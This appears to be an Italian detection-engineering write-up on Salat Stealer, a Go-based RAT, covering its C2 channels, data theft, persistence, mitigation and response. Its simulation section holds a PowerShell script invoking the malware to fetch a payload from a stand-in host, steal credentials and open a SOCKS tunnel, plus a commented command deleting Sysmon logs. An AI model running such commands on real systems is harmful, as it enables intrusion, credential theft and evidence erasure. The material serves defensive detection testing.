Analisi di Salat Stealer: RAT in Go, Resilienza C2 e Capacità di Furto Informazioni

Riassunto

Salat Stealer è un trojan di accesso remoto basato su Go che funziona come un framework di post-exploitation a tutto tondo. Supporta multipli canali di comunicazione, inclusi WebSocket, HTTP/2, HTTP/3 e QUIC, offrendo agli operatori opzioni di comando e controllo flessibili e resilienti. Il malware include anche ampie capacità di furto di credenziali, mirando ai dati dei browser, portafogli di criptovalute, tasti di battitura, screenshot e pivoting di rete tramite SOCKS5. Per sopravvivere ai riavvii, utilizza copie di file nascosti, attività programmate e una chiave di registro Run. Se la sua infrastruttura principale viene interrotta, il malware può recuperare dettagli aggiornati di comando e controllo tramite la blockchain TON.

Indagine

L’analisi spiega come il malware deriva le chiavi di crittografia da stringhe statiche combinate con il nome host della vittima, per poi usarle per decrittare cinque URL di comando e controllo incorporati. I ricercatori hanno anche documentato come Salat Stealer seleziona il suo protocollo di trasporto, elabora i comandi dell’operatore, tenta l’aumento dei privilegi e implementa diversi metodi di persistenza sull’host. Il rapporto delinea ulteriormente la gamma di dati rubati e le funzioni di accesso remoto più ampie disponibili per l’aggressore.

Mitigazione

I difensori dovrebbero monitorare le connessioni agli URL di comando e controllo identificati, così come il traffico QUIC e WebSocket inaspettato verso destinazioni sconosciute. I team di sicurezza dovrebbero anche vigilare su attività programmate nascoste e voci di Run sospette che puntano a eseguibili non familiari. La whitelisting delle applicazioni e i controlli rigidi di esecuzione possono aiutare a prevenire l’esecuzione del payload basato su Go. La segmentazione della rete e l’ispezione TLS possono inoltre migliorare la visibilità sul traffico in uscita sospetto associato al malware.

Risposta

Se viene rilevata l’attività di Salat Stealer, isolare immediatamente il sistema interessato, raccogliere immagini di memoria e disco e terminare i processi maligni. Rimuovere tutti i manufatti di persistenza, inclusi le attività programmate, le voci di chiave Run e le copie di file nascoste utilizzate dal malware. I domini di comando e controllo identificati devono essere bloccati, insieme a qualsiasi ricerca correlata sulla blockchain TON utilizzata per la scoperta dell’infrastruttura di fallback. Le credenziali esposte e i portafogli di criptovalute dovrebbero anche essere ruotati o messi in sicurezza senza ritardo.

Esecuzione Simulazione

Prerequisito: Il controllo pre-volo di Telemetria & Base deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

• Narrazione & Comandi dell’Attacco:
  Un avversario ha consegnato il binario Salat RAT (salat.exe) all’host vittima tramite un allegato di phishing. Dopo aver ottenuto una base con privilegi bassi, l’aggressore esegue il binario con argomenti specifici per:

  1. Scaricare un payload secondario – main.downloadFile https://malicious.example.com/payload.exe.
  2. Rubare credenziali memorizzate – main.Steal -module credentials.
  3. Stabilire un tunnel SOCKS peer-to-peer per il movimento laterale – main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

  Il binario viene lanciato da una sessione PowerShell elevata per soddisfare il requisito di elevazione (T1548). Ogni invocazione appare come una creazione di processo Sysmon distinta con la corrispondente linea di comando, soddisfacendo il matching della stringa della regola Sigma.

• Script Test di Regressione:

  # -------------------------------------------------
  # Script di simulazione Salat RAT – attiva il rilevamento
  # -------------------------------------------------
  $binaryPath = "C:Tempsalat.exe"
  
  # Assicurati che il binario esista (segnaposto – in un test reale il binario sarebbe pre-posizionato)
  if (-Not (Test-Path $binaryPath)) {
      Write-Error "Binario Salat non trovato a $binaryPath"
      exit 1
  }
  
  # 1. Scarica payload secondario
  Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
  
  # 2. Ruba credenziali
  Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
  
  # 3. Apri tunnel P2P SOCKS
  Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
  
  Write-Host "Simulazione completata."

• Comandi di Pulizia:

  # -------------------------------------------------
  # Pulizia per la simulazione Salat RAT
  # -------------------------------------------------
  # Termina eventuali processi Salat rimanenti
  Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Rimuovi il binario (se consentito)
  $binaryPath = "C:Tempsalat.exe"
  if (Test-Path $binaryPath) {
      Remove-Item $binaryPath -Force
      Write-Host "Rimosso $binaryPath"
  }
  
  # Facoltativamente, cancella eventi Sysmon correlati dall'indice di test (esempio Splunk)
  # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'